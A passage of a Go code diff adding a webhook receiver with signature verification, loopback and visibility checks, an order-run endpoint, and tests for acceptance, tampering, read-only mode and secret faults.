+// webhookRequestAllowed is the R2 mux-enforced, visibility-aware perimeter — the
+// webhook analog of serviceRequestAllowed. It runs on every /hook/ delivery
+// before the body is read or the signature is checked.
+//
+//   - private / tenant webhook: require the /svc-style loopback-or-X-GC-Request
+//     internal-origin check. A non-loopback external POST → 404, so an external
+//     caller never learns a private/tenant hook exists. (Unlike serviceRequestAllowed,
+//     a loopback/internal POST is NOT additionally gated on the CSRF header: the
+//     E4 signature verify is the anti-forgery gate for webhooks, and a loopback
+//     delivery must be able to proceed to that verification.)
+//   - public webhook (survived E2's allow_public grant): MAY accept edge
+//     (non-loopback) ingress; the E4 signature verify is the ingress auth.
+//
+// Dispatch is a mutation, so read-only mode refuses every visibility. The
+// perimeter/loopback check runs FIRST for private/tenant so an external probe
+// gets a 404 (not a read-only 403 that would confirm the route exists); a public
+// route's existence is already known, so a read-only 403 there leaks nothing.
+//
+// Returns (true, "") to proceed; on false it has already written the rejection and
+// returns the reason enum (reasonPerimeterDenied or reasonReadOnly) for the event.
+func webhookRequestAllowed(w http.ResponseWriter, visibility string, r *http.Request, apiReadOnly bool) (bool, string) {
+	public := visibility == "public"
+	if !public {
+		internalProxyRequest := r.Header.Get("X-GC-Request") != ""
+		if !isLoopbackRemoteAddr(r.RemoteAddr) && !internalProxyRequest {
+			problemWebhookRouteNotFound.writeTo(w)
+			return false, reasonPerimeterDenied
+		}
+	}
+	if apiReadOnly {
+		problemWebhookReadOnly.writeTo(w)
+		return false, reasonReadOnly
+	}
+	return true, ""
+}
+
+// buildWebhookVerifier constructs the E4 verifier for a hook with an
+// operator-owned secret (R1). For the HMAC family and discord-ed25519 the secret
+// is resolved through webhookverify.SecretResolver, which enforces the
+// GC_WEBHOOK_* operator namespace, present-not-empty, and an entropy floor. For
+// jwt-jwks the trust anchor comes from the operator-owned [webhooks].jwt_policy in
+// city.toml — never from the pack-authored [webhook.verify] — so a pack cannot
+// point trust at an attacker issuer/JWKS. Any failure is an operator fault the
+// caller maps to 503, never 401.
+func (s *Server) buildWebhookVerifier(cfg *config.City, hook config.Webhook) (webhookverify.Verifier, []byte, error) {
+	scheme := strings.TrimSpace(hook.Verify.Scheme)
+	var opts webhookverify.Options
+	var secret []byte
+	if scheme == "jwt-jwks" {
+		if cfg == nil {
+			return nil, nil, fmt.Errorf("no operator [webhooks].jwt_policy for jwt-jwks webhook %q", hook.Name)
+		}
+		policy, ok := cfg.WebhookPolicy.OperatorJWTPolicy(hook.Name)
+		if !ok {
+			return nil, nil, fmt.Errorf("no operator [webhooks].jwt_policy for jwt-jwks webhook %q", hook.Name)
+		}
+		opts.JWTPolicy = &webhookverify.JWTVerifierPolicy{
+			Issuer:   policy.Issuer,
+			Audience: policy.Audience,
+			JWKSURL:  policy.JWKSURL,
+		}
+	} else {
+		sec, err := webhookverify.NewSecretResolver().Resolve(hook.Verify)
+		if err != nil {
+			return nil, nil, fmt.Errorf("webhook %q secret: %w", hook.Name, err)
+		}
+		secret = sec
+	}
+	// Reuse a memoized verifier when the config fingerprint is unchanged, so the
+	// jwt-jwks JWKS cache (the only stateful part) persists across deliveries
+	// instead of being rebuilt — and its JWKS refetched, blocking, pre-signature —
+	// on every request. Secret resolution above stays per-request (cheap env read);
+	// only the verifier is cached. Non-jwt verifiers are stateless, so memoizing
+	// them is harmless.
+	v, err := s.cachedWebhookVerifier(scheme, hook, opts)
+	if err != nil {
+		return nil, nil, err
+	}
+	return v, secret, nil
+}
+
+// cachedWebhookVerifier returns the memoized verifier for hook, rebuilding it
+// when no entry exists or the config fingerprint changed (a hot-reload). The
+// build runs under the mutex; for jwt-jwks that is a cheap allocation (the JWKS
+// fetch is lazy, on first Verify), so no network call happens while locked.
+func (s *Server) cachedWebhookVerifier(scheme string, hook config.Webhook, opts webhookverify.Options) (webhookverify.Verifier, error) {
+	fp := webhookVerifierFingerprint(hook, opts)
+	s.webhookVerifiersMu.Lock()
+	defer s.webhookVerifiersMu.Unlock()
+	if s.webhookVerifiers == nil {
+		s.webhookVerifiers = make(map[string]cachedWebhookVerifier)
+	}
+	if c, ok := s.webhookVerifiers[hook.Name]; ok && c.fingerprint == fp {
+		return c.verifier, nil
+	}
+	v, err := webhookverify.New(scheme, hook.Verify, opts)
+	if err != nil {
+		return nil, err
+	}
+	s.webhookVerifiers[hook.Name] = cachedWebhookVerifier{verifier: v, fingerprint: fp}
+	return v, nil
+}
+
+// webhookVerifierFingerprint is a cheap identity for the security-relevant
+// verifier inputs, so a config hot-reload that changes any of them rebuilds the
+// verifier (and drops the stale JWKS cache). It covers the verify scheme, secret
+// env/slot, the scheme header overrides, the replay window, and the operator jwt
+// trust anchor (issuer/audience/jwks_url) carried in opts.
+func webhookVerifierFingerprint(hook config.Webhook, opts webhookverify.Options) string {
+	v := hook.Verify
+	var iss, aud, jwks string
+	if opts.JWTPolicy != nil {
+		iss, aud, jwks = opts.JWTPolicy.Issuer, opts.JWTPolicy.Audience, opts.JWTPolicy.JWKSURL
+	}
+	return strings.Join([]string{
+		v.Scheme, v.SecretEnv, v.SecretKey,
+		v.SignatureHeader, v.EventHeader, v.DedupHeader, v.TimestampHeader,
+		v.ReplayWindow, iss, aud, jwks,
+	}, "\x00")
+}
+
+// webhookScopeFor builds the E6 dispatch scope from a matched webhook. config.Webhook
+// carries no rig binding today, so a rig-scoped webhook fails closed in the sink's
+// R4 scoping (it declares no rig); city-scoped webhooks let the rule's own rig stand.
+func webhookScopeFor(w config.Webhook) webhooksink.WebhookScope {
+	return webhooksink.WebhookScope{
+		Name:      w.Name,
+		Scope:     w.ScopeOrDefault(),
+		SourceDir: w.SourceDir,
+	}
+}
+
+// webhookDispatcherFor returns the live order dispatcher when the State exposes
+// one (the H1/E0.5 seam), or nil when webhook dispatch is unavailable.
+func webhookDispatcherFor(state State) orderdispatch.Dispatcher {
+	if p, ok := state.(WebhookDispatchProvider); ok {
+		return p.WebhookDispatcher()
+	}
+	return nil
+}
+
+// orderResolverFor backs webhooksink.OrderResolver with the city's active
+// (enabled) scanned order set, matching by name and effective rig. It is the E6
+// resolver the sink uses to turn a matched rule's {order, rig} into a resolved
+// order, which the sink then re-checks (trigger, required params) before firing.
+func orderResolverFor(state State) webhooksink.OrderResolver {
+	return func(name, rig string) (orders.Order, bool) {
+		rig = strings.TrimSpace(rig)
+		for _, o := range state.Orders() {
+			if o.Name == name && strings.TrimSpace(o.Rig) == rig {
+				return o, true
+			}
+		}
+		return orders.Order{}, false
+	}
+}
+
+// isDiscordPing reports whether a Discord interaction body is a PING (type 1).
+// json.Number tolerates the numeric type field without a float round-trip.
+func isDiscordPing(body []byte) bool {
+	var probe struct {
+		Type json.Number `json:"type"`
+	}
+	if err := json.Unmarshal(body, &probe); err != nil {
+		return false
+	}
+	return probe.Type.String() == "1"
+}
+
+// --- Typed operator run route: POST /v0/city/{cityName}/order/{name}/run ---
+
+// OrderRunInput is the Huma input for POST /v0/city/{cityName}/order/{name}/run.
+type OrderRunInput struct {
+	CityScope
+	Name string `path:"name" doc:"Order name or scoped name of a trigger=\"webhook\" order."`
+	Body struct {
+		Vars map[string]string `json:"vars,omitempty" doc:"Declared [order.params] as key/value dispatch args (parity with 'gc order run --var'). Namespaced into the exec env under GC_WEBHOOK_ARG_ before overlay (R4)."`
+	}
+}
+
+// OrderRunOutput is the response for POST /v0/city/{cityName}/order/{name}/run.
+type OrderRunOutput struct {
+	Status int `json:"-"`
+	Body   struct {
+		Status     string `json:"status" doc:"\"dispatched\" when the order fired."`
+		ScopedName string `json:"scoped_name,omitempty" doc:"Rig-qualified name of the fired order."`
+		TrackingID string `json:"tracking_id,omitempty" doc:"Tracking bead id for the dispatch."`
+	}
+}
+
+// humaHandleOrderRun is the internal/operator path to fire a trigger="webhook"
+// order directly with typed params — no signature, because this route lives on
+// the typed Huma surface where write-auth/CSRF/read-only IS the auth. It reuses
+// the E6 sink + E0.5 dispatcher so every guard (trigger opt-in, required-param
+// validation, R4 exec-env namespacing) is the same code the raw /hook/ path runs.
+func (s *Server) humaHandleOrderRun(ctx context.Context, input *OrderRunInput) (*OrderRunOutput, error) {
+	order, ok := resolveWebhookOrder(s.state, input.Name)
+	if !ok {
+		return nil, huma.Error404NotFound("not_found: order not found: " + input.Name)
+	}
+	// Refuse non-webhook-trigger orders up front for a clear 422 (the sink also
+	// enforces this — defense in depth).
+	if strings.TrimSpace(order.Trigger) != "webhook" {
+		return nil, huma.Error422UnprocessableEntity(fmt.Sprintf(
+			"order %q has trigger %q; the run endpoint fires only trigger=\"webhook\" orders",
+			order.ScopedName(), order.Trigger))
+	}
+	dispatcher := webhookDispatcherFor(s.state)
+	if dispatcher == nil {
+		return nil, huma.Error503ServiceUnavailable("webhook dispatch is not available for this city")
+	}
+	result, err := webhooksink.Route(context.WithoutCancel(ctx), webhooksink.Deps{
+		Dispatcher:   dispatcher,
+		ResolveOrder: orderResolverFor(s.state),
+	}, webhooksink.WebhookScope{Name: "order-run", Scope: "city"}, webhookmatch.MatchResult{
+		Target: "order",
+		Order:  order.Name,
+		Rig:    order.Rig,
+		Vars:   input.Body.Vars,
+	})
+	if err != nil {
+		return nil, huma.Error503ServiceUnavailable("dispatch failed: " + err.Error())
+	}
+	if !result.Dispatched {
+		return nil, huma.Error422UnprocessableEntity("rejected: " + result.Reason)
+	}
+	out := &OrderRunOutput{Status: http.StatusAccepted}
+	out.Body.Status = "dispatched"
+	out.Body.ScopedName = result.Dispatch.ScopedName
+	out.Body.TrackingID = result.Dispatch.TrackingID
+	return out, nil
+}
+
+// resolveWebhookOrder finds an active order by its plain or rig-scoped name.
+func resolveWebhookOrder(state State, name string) (orders.Order, bool) {
+	name = strings.TrimSpace(name)
+	for _, o := range state.Orders() {
+		if o.Name == name || o.ScopedName() == name {
+			return o, true
+		}
+	}
+	return orders.Order{}, false
+}
+
+// --- wire helpers + pre-serialized responses ---
+
+func readCappedBody(w http.ResponseWriter, r *http.Request, limit int64) ([]byte, error) {
+	return io.ReadAll(http.MaxBytesReader(w, r.Body, limit))
+}
+
+func writeJSONBytes(w http.ResponseWriter, status int, body []byte) {
+	w.Header().Set("Content-Type", "application/json; charset=utf-8")
+	w.WriteHeader(status)
+	_, _ = w.Write(body)
+}
+
+var (
+	// discordPongBody is Discord's required PING acknowledgement (interaction type 1).
+	discordPongBody = []byte(`{"type":1}`)
+	// webhookNoMatchBody acks a verified-but-unmatched delivery (a 2xx no-op).
+	webhookNoMatchBody = []byte(`{"status":"ok","matched":false}`)
+	// webhookDuplicateBody acks a deduplicated delivery — 2xx so the sender stops
+	// retrying, deduped:true so it can observe the suppression.
+	webhookDuplicateBody = []byte(`{"status":"ok","deduped":true}`)
+	// webhookAcceptedBody acks a dispatched delivery.
+	webhookAcceptedBody = []byte(`{"status":"accepted"}`)
+	// webhookRejectedBody is the generic refusal body — deliberately reason-free so
+	// the public edge learns nothing about the order catalog (the reason is logged).
+	webhookRejectedBody = []byte(`{"status":"rejected"}`)
+)
+
+// Pre-serialized RFC 9457 problem responses for the /hook/ perimeter, mirroring
+// the /svc problemBody convention (no json.Marshal on the reject path).
+var (
+	problemWebhookRouteNotFound = problemBody{
+		status: http.StatusNotFound,
+		body:   []byte(`{"status":404,"title":"Not Found","detail":"not_found: webhook route not found"}`),
+	}
+	problemWebhookMethodNotAllowed = problemBody{
+		status: http.StatusMethodNotAllowed,
+		body:   []byte(`{"status":405,"title":"Method Not Allowed","detail":"method_not_allowed: webhook deliveries must be POST"}`),
+	}
+	problemWebhookReadOnly = problemBody{
+		status: http.StatusForbidden,
+		body:   []byte(`{"status":403,"title":"Forbidden","detail":"read_only: webhook dispatch is disabled in read-only mode"}`),
+	}
+	problemWebhookRateLimited = problemBody{
+		status: http.StatusTooManyRequests,
+		body:   []byte(`{"status":429,"title":"Too Many Requests","detail":"rate_limited: webhook delivery rate exceeded"}`),
+	}
+	problemWebhookBodyTooLarge = problemBody{
+		status: http.StatusRequestEntityTooLarge,
+		body:   []byte(`{"status":413,"title":"Request Entity Too Large","detail":"webhook body exceeds limit"}`),
+	}
+	problemWebhookBadBody = problemBody{
+		status: http.StatusBadRequest,
+		body:   []byte(`{"status":400,"title":"Bad Request","detail":"could not read webhook body"}`),
+	}
+	problemWebhookBadPayload = problemBody{
+		status: http.StatusBadRequest,
+		body:   []byte(`{"status":400,"title":"Bad Request","detail":"webhook payload is not a JSON object"}`),
+	}
+	problemWebhookUnauthorized = problemBody{
+		status: http.StatusUnauthorized,
+		body:   []byte(`{"status":401,"title":"Unauthorized","detail":"signature verification failed"}`),
+	}
+	problemWebhookVerifierUnavailable = problemBody{
+		status: http.StatusServiceUnavailable,
+		body:   []byte(`{"status":503,"title":"Service Unavailable","detail":"webhook verifier unavailable"}`),
+	}
+	problemWebhookDispatchUnavailable = problemBody{
+		status: http.StatusServiceUnavailable,
+		body:   []byte(`{"status":503,"title":"Service Unavailable","detail":"webhook dispatch unavailable"}`),
+	}
+)
diff --git a/internal/api/handler_webhook_test.go b/internal/api/handler_webhook_test.go
new file mode 100644
index 0000000000..c24c504401
--- /dev/null
+++ b/internal/api/handler_webhook_test.go
@@ -0,0 +1,883 @@
+package api
+
+import (
+	"context"
+	"crypto/ed25519"
+	"crypto/hmac"
+	"crypto/sha256"
+	"encoding/hex"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"strconv"
+	"strings"
+	"sync"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/config"
+	"github.com/gastownhall/gascity/internal/events"
+	"github.com/gastownhall/gascity/internal/orderdispatch"
+	"github.com/gastownhall/gascity/internal/orders"
+)
+
+// recordingDispatcher is a fake orderdispatch.Dispatcher that records every
+// dispatch and returns a canned result, so webhook receiver tests can assert
+// whether — and with what vars — the sink fired an order without a live city.
+type recordingDispatcher struct {
+	mu     sync.Mutex
+	calls  []orderdispatch.DispatchRequest
+	result orderdispatch.DispatchResult
+	err    error
+}
+
+func (d *recordingDispatcher) Dispatch(_ context.Context, req orderdispatch.DispatchRequest) (orderdispatch.DispatchResult, error) {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+	d.calls = append(d.calls, req)
+	if d.err != nil {
+		return orderdispatch.DispatchResult{}, d.err
+	}
+	res := d.result
+	if res.ScopedName == "" {
+		res.ScopedName = req.Order.ScopedName()
+	}
+	return res, nil
+}
+
+func (d *recordingDispatcher) count() int {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+	return len(d.calls)
+}
+
+func (d *recordingDispatcher) last() orderdispatch.DispatchRequest {
+	d.mu.Lock()
+	defer d.mu.Unlock()
+	return d.calls[len(d.calls)-1]
+}
+
+// firedDispatcher returns a dispatcher whose result reports a launched order.
+func firedDispatcher() *recordingDispatcher {
+	return &recordingDispatcher{result: orderdispatch.DispatchResult{Fired: true, TrackingID: "track-1"}}
+}
+
+func githubSignature(secret, body []byte) string {
+	mac := hmac.New(sha256.New, secret)
+	mac.Write(body)
+	return "sha256=" + hex.EncodeToString(mac.Sum(nil))
+}
+
+const prReviewOrderName = "pr-review"
+
+// githubWebhook is a public github-hmac webhook that fires pr-review on a
+// labeled pull_request, extracting repo + pr from the payload (E5 args).
+func githubWebhook(visibility string) config.Webhook {
+	return config.Webhook{
+		Name:        "github",
+		Publication: config.ServicePublicationConfig{Visibility: visibility},
+		Verify: config.WebhookVerify{
+			Scheme:      "github-hmac-sha256",
+			SecretEnv:   "GC_WEBHOOK_GITHUB_SECRET",
+			EventHeader: "X-GitHub-Event",
+			DedupHeader: "X-GitHub-Delivery",
+		},
+		Rules: []config.WebhookRule{{
+			Event: "pull_request",
+			Match: map[string]string{"action": "labeled"},
+			Order: prReviewOrderName,
+			Args: map[string]string{
+				"repo": "{{repository.full_name}}",
+				"pr":   "{{pull_request.number}}",
+			},
+		}},
+	}
+}
+
+func prReviewOrder() orders.Order {
+	return orders.Order{Name: prReviewOrderName, Trigger: "webhook", Formula: "pr-review-formula"}
+}
+
+const prLabeledPayload = `{"action":"labeled","repository":{"full_name":"acme/widgets"},"pull_request":{"number":1347}}`
+
+// newWebhookState builds a fakeState with a single webhook, order, and injected
+// dispatcher for receiver tests.
+func newWebhookState(t *testing.T, hook config.Webhook, order orders.Order, disp orderdispatch.Dispatcher) *fakeState {
+	t.Helper()
+	st := newFakeState(t)
+	st.cfg.Webhooks = []config.Webhook{hook}
+	st.autos = []orders.Order{order}
+	st.webhookDispatcher = disp
+	return st
+}
+
+func postHook(t *testing.T, h http.Handler, state State, name, body, remoteAddr string, headers map[string]string) *httptest.ResponseRecorder {
+	t.Helper()
+	req := httptest.NewRequest(http.MethodPost, cityURL(state, "/hook/"+name), strings.NewReader(body))
+	req.RemoteAddr = remoteAddr
+	for k, v := range headers {
+		req.Header.Set(k, v)
+	}
+	rec := httptest.NewRecorder()
+	h.ServeHTTP(rec, req)
+	return rec
+}
+
+// (a) A private webhook POSTed from a non-loopback RemoteAddr is refused with a
+// 404 (never leaking that the hook exists); from loopback it proceeds through
+// verify and dispatches.
+func TestWebhookPrivateRejectsExternalAllowsLoopback(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-01")
+	secret := []byte("top-secret-webhook-key-01")
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("private"), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+	hdrs := map[string]string{
+		"X-Hub-Signature-256": sig,
+		"X-GitHub-Event":      "pull_request",
+		"X-GitHub-Delivery":   "d-1",
+	}
+
+	// External (non-loopback) → 404, dispatcher never touched.
+	extRec := postHook(t, h, state, "github", prLabeledPayload, "198.51.100.10:9000", hdrs)
+	if extRec.Code != http.StatusNotFound {
+		t.Fatalf("external private status = %d, want 404", extRec.Code)
+	}
+	if disp.count() != 0 {
+		t.Fatalf("external private must not dispatch, got %d calls", disp.count())
+	}
+
+	// Loopback → proceeds to verify and dispatches (202).
+	loRec := postHook(t, h, state, "github", prLabeledPayload, "127.0.0.1:9000", hdrs)
+	if loRec.Code != http.StatusAccepted {
+		t.Fatalf("loopback private status = %d, want 202", loRec.Code)
+	}
+	if disp.count() != 1 {
+		t.Fatalf("loopback private dispatch count = %d, want 1", disp.count())
+	}
+}
+
+// (b) A public webhook with a valid GitHub signature dispatches with the
+// E5-extracted, R4-namespaced vars; a tampered body verifies to 401.
+func TestWebhookPublicValidDispatchesTamperedRejected(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-02")
+	secret := []byte("top-secret-webhook-key-02")
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+	hdrs := map[string]string{
+		"X-Hub-Signature-256": sig,
+		"X-GitHub-Event":      "pull_request",
+		"X-GitHub-Delivery":   "d-2",
+	}
+
+	// Valid signature from the edge (non-loopback) → dispatch.
+	rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", hdrs)
+	if rec.Code != http.StatusAccepted {
+		t.Fatalf("valid public status = %d, want 202 (body %s)", rec.Code, rec.Body.String())
+	}
+	if disp.count() != 1 {
+		t.Fatalf("valid public dispatch count = %d, want 1", disp.count())
+	}
+	call := disp.last()
+	if got := call.Vars["repo"]; got != "acme/widgets" {
+		t.Errorf("dispatched Vars[repo] = %q, want acme/widgets", got)
+	}
+	if got := call.Vars["pr"]; got != "1347" {
+		t.Errorf("dispatched Vars[pr] = %q, want 1347", got)
+	}
+	// R4: exec-env overlay is namespaced under GC_WEBHOOK_ARG_.
+	if got := call.ExecEnv["GC_WEBHOOK_ARG_repo"]; got != "acme/widgets" {
+		t.Errorf("dispatched ExecEnv[GC_WEBHOOK_ARG_repo] = %q, want acme/widgets", got)
+	}
+	if _, raw := call.ExecEnv["repo"]; raw {
+		t.Errorf("exec env must not carry the raw (un-namespaced) arg key repo")
+	}
+	if call.Source != orderdispatch.SourceWebhook {
+		t.Errorf("dispatch Source = %q, want %q", call.Source, orderdispatch.SourceWebhook)
+	}
+
+	// Tampered body (signature no longer matches) → 401, no new dispatch.
+	tampered := strings.Replace(prLabeledPayload, "1347", "9999", 1)
+	tamRec := postHook(t, h, state, "github", tampered, "203.0.113.7:443", hdrs)
+	if tamRec.Code != http.StatusUnauthorized {
+		t.Fatalf("tampered public status = %d, want 401", tamRec.Code)
+	}
+	if disp.count() != 1 {
+		t.Fatalf("tampered delivery must not dispatch, count = %d, want 1", disp.count())
+	}
+}
+
+// (c) A read-only server refuses a public webhook dispatch (dispatch is a
+// mutation) even with a valid signature.
+func TestWebhookReadOnlyRefusesPublicDispatch(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-03")
+	secret := []byte("top-secret-webhook-key-03")
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	h := newTestCityHandlerReadOnly(t, state)
+
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+	rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", map[string]string{
+		"X-Hub-Signature-256": sig,
+		"X-GitHub-Event":      "pull_request",
+	})
+	if rec.Code != http.StatusForbidden {
+		t.Fatalf("read-only public status = %d, want 403", rec.Code)
+	}
+	if disp.count() != 0 {
+		t.Fatalf("read-only must not dispatch, count = %d, want 0", disp.count())
+	}
+}
+
+// (d) An unknown webhook name is a 404.
+func TestWebhookUnknownName404(t *testing.T) {
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	rec := postHook(t, h, state, "does-not-exist", `{}`, "127.0.0.1:9000", nil)
+	if rec.Code != http.StatusNotFound {
+		t.Fatalf("unknown name status = %d, want 404", rec.Code)
+	}
+	if disp.count() != 0 {
+		t.Fatalf("unknown name must not dispatch, count = %d", disp.count())
+	}
+}
+
+// (e) A Discord PING (interaction type 1) with a valid ed25519 signature is
+// answered {"type":1} without dispatching.
+func TestWebhookDiscordPingPongNoDispatch(t *testing.T) {
+	pub, priv, err := ed25519.GenerateKey(nil)
+	if err != nil {
+		t.Fatalf("keygen: %v", err)
+	}
+	t.Setenv("GC_WEBHOOK_DISCORD_PUBKEY", hex.EncodeToString(pub))
+
+	hook := config.Webhook{
+		Name:        "discord",
+		Publication: config.ServicePublicationConfig{Visibility: "public"},
+		Verify: config.WebhookVerify{
+			Scheme:    "discord-ed25519",
+			SecretEnv: "GC_WEBHOOK_DISCORD_PUBKEY",
+		},
+		Rules: []config.WebhookRule{{Event: "*", Order: prReviewOrderName}},
+	}
+	disp := firedDispatcher()
+	state := newWebhookState(t, hook, prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	ping := []byte(`{"type":1}`)
+	// A fresh timestamp: the discord verifier now enforces a replay window (FIX 1),
+	// and this delivery flows through the real handler on the wall clock.
+	ts := strconv.FormatInt(time.Now().Unix(), 10)
+	msg := append([]byte(ts), ping...)
+	sig := hex.EncodeToString(ed25519.Sign(priv, msg))
+
+	rec := postHook(t, h, state, "discord", string(ping), "203.0.113.9:443", map[string]string{
+		"X-Signature-Ed25519":   sig,
+		"X-Signature-Timestamp": ts,
+	})
+	if rec.Code != http.StatusOK {
+		t.Fatalf("discord ping status = %d, want 200 (body %s)", rec.Code, rec.Body.String())
+	}
+	var pong struct {
+		Type int `json:"type"`
+	}
+	if err := json.Unmarshal(rec.Body.Bytes(), &pong); err != nil {
+		t.Fatalf("decode pong: %v", err)
+	}
+	if pong.Type != 1 {
+		t.Fatalf("pong type = %d, want 1", pong.Type)
+	}
+	if disp.count() != 0 {
+		t.Fatalf("discord PING must not dispatch, count = %d", disp.count())
+	}
+}
+
+// (f) R1: a webhook whose secret_env is outside the operator GC_WEBHOOK_*
+// namespace (or unset) is an operator fault → 503, not a 401.
+func TestWebhookR1SecretFaultIs503(t *testing.T) {
+	t.Run("wrong namespace", func(t *testing.T) {
+		t.Setenv("MY_SECRET", "top-secret-webhook-key-04")
+		hook := githubWebhook("public")
+		hook.Verify.SecretEnv = "MY_SECRET" // not GC_WEBHOOK_*
+		disp := firedDispatcher()
+		state := newWebhookState(t, hook, prReviewOrder(), disp)
+		h := newTestCityHandler(t, state)
+
+		rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", map[string]string{
+			"X-Hub-Signature-256": "sha256=deadbeef",
+			"X-GitHub-Event":      "pull_request",
+		})
+		if rec.Code != http.StatusServiceUnavailable {
+			t.Fatalf("out-of-namespace secret status = %d, want 503", rec.Code)
+		}
+		if disp.count() != 0 {
+			t.Fatalf("must not dispatch on operator fault, count = %d", disp.count())
+		}
+	})
+
+	t.Run("unset", func(t *testing.T) {
+		hook := githubWebhook("public")
+		hook.Verify.SecretEnv = "GC_WEBHOOK_DEFINITELY_UNSET"
+		disp := firedDispatcher()
+		state := newWebhookState(t, hook, prReviewOrder(), disp)
+		h := newTestCityHandler(t, state)
+
+		rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", map[string]string{
+			"X-Hub-Signature-256": "sha256=deadbeef",
+			"X-GitHub-Event":      "pull_request",
+		})
+		if rec.Code != http.StatusServiceUnavailable {
+			t.Fatalf("unset secret status = %d, want 503", rec.Code)
+		}
+	})
+}
+
+// (g) A verified delivery that matches no rule is a 2xx no-op — never a 4xx —
+// and never dispatches.
+func TestWebhookNoMatchIsNoOp(t *testing.T) {
+	t.Setenv("GC_WEBHOOK_GITHUB_SECRET", "top-secret-webhook-key-05")
+	secret := []byte("top-secret-webhook-key-05")
+
+	disp := firedDispatcher()
+	state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+	h := newTestCityHandler(t, state)
+
+	// A valid signature but an event no rule matches (rule wants pull_request).
+	sig := githubSignature(secret, []byte(prLabeledPayload))
+	rec := postHook(t, h, state, "github", prLabeledPayload, "203.0.113.7:443", map[string]string{
+		"X-Hub-Signature-256": sig,
+		"X-GitHub-Event":      "issues",
+	})
+	if rec.Code < 200 || rec.Code >= 300 {
+		t.Fatalf("no-match status = %d, want 2xx no-op", rec.Code)
+	}
+	if disp.count() != 0 {
+		t.Fatalf("no-match must not dispatch, count = %d", disp.count())
+	}
+}
+
+// (h) The typed /order/{name}/run route refuses under read-only (write-auth path)
+// and refuses a non-webhook-trigger order.
+func TestOrderRunTypedGuards(t *testing.T) {
+	t.Run("read-only refuses", func(t *testing.T) {
+		disp := firedDispatcher()
+		state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+		h := newTestCityHandlerReadOnly(t, state)
+
+		req := newPostRequest(cityURL(state, "/order/"+prReviewOrderName+"/run"), strings.NewReader(`{"vars":{}}`))
+		req.Header.Set("Content-Type", "application/json")
+		rec := httptest.NewRecorder()
+		h.ServeHTTP(rec, req)
+		if rec.Code != http.StatusForbidden {
+			t.Fatalf("read-only order run status = %d, want 403", rec.Code)
+		}
+		if disp.count() != 0 {
+			t.Fatalf("read-only order run must not dispatch, count = %d", disp.count())
+		}
+	})
+
+	t.Run("non-webhook-trigger refused", func(t *testing.T) {
+		disp := firedDispatcher()
+		manual := orders.Order{Name: "manual-order", Trigger: "manual", Formula: "f"}
+		state := newWebhookState(t, githubWebhook("public"), manual, disp)
+		h := newTestCityHandler(t, state)
+
+		req := newPostRequest(cityURL(state, "/order/manual-order/run"), strings.NewReader(`{"vars":{}}`))
+		req.Header.Set("Content-Type", "application/json")
+		rec := httptest.NewRecorder()
+		h.ServeHTTP(rec, req)
+		if rec.Code != http.StatusUnprocessableEntity {
+			t.Fatalf("non-webhook-trigger run status = %d, want 422 (body %s)", rec.Code, rec.Body.String())
+		}
+		if disp.count() != 0 {
+			t.Fatalf("non-webhook-trigger must not dispatch, count = %d", disp.count())
+		}
+	})
+
+	t.Run("webhook-trigger dispatches", func(t *testing.T) {
+		disp := firedDispatcher()
+		state := newWebhookState(t, githubWebhook("public"), prReviewOrder(), disp)
+		h := newTestCityHandler(t, state)
+
+		req := newPostRequest(cityURL(state, "/order/"+prReviewOrderName+"/run"), strings.NewReader(`{"vars":{"repo":"acme/widgets"}}`))
+		req.Header.Set("Content-Type", "application/json")
+		rec := httptest.NewRecorder()
+		h.ServeHTTP(rec, req)
+		if rec.Code != http.StatusAccepted {
+			t.Fatalf("typed run status = %d, want 202 (body %s)", rec.Code, rec.Body.String())
+		}
+		if disp.count() != 1 {
+			t.Fatalf("typed run dispatch count = %d, want 1", disp.count())
+		}
+		if got := disp.last().Vars["repo"]; got != "acme/widgets" {
+			t.Errorf("typed run Vars[repo] = %q, want acme/widgets", got)
+		}
+	})
+}
+
+// --- E8: dedup, rate-limit, and webhook.received/rejected events ---
+
+// newWebhookHandler builds the receiver against a caller-controlled *Server so a
+// test can inject the limiter/dedup clock. It mirrors newTestCityHandler but
+// hands back the Server whose per-city dedup cache + rate limiter persist across
+// requests (the supervisor caches one Server per city in production).
+func newWebhookHandler(t *testing.T, state *fakeState) (http.Handler, *Server) {
+	t.Helper()
+	srv := newServer(state, false)
+	return newTestCityHandlerWith(t, state, srv), srv
+}
+
+func githubHeaders(sig, delivery string) map[string]string {
+	return map[string]string{
+		"X-Hub-Signature-256": sig,
+		"X-GitHub-Event":      "pull_request",
+		"X-GitHub-Delivery":   delivery,
+	}
+}
+
+func webhookReceivedEvents(t *testing.T, state State) []WebhookReceivedPayload {
+	t.Helper()
+	fake, ok := state.EventProvider().(*events.Fake)
+	if !ok {
+		t.Fatalf("event provider is %T, want *events.Fake", state.EventProvider())
+	}
+	var out []WebhookReceivedPayload
+	for _, e := range fake.Events {
+		if e.Type != events.WebhookReceived {
+			continue
+		}
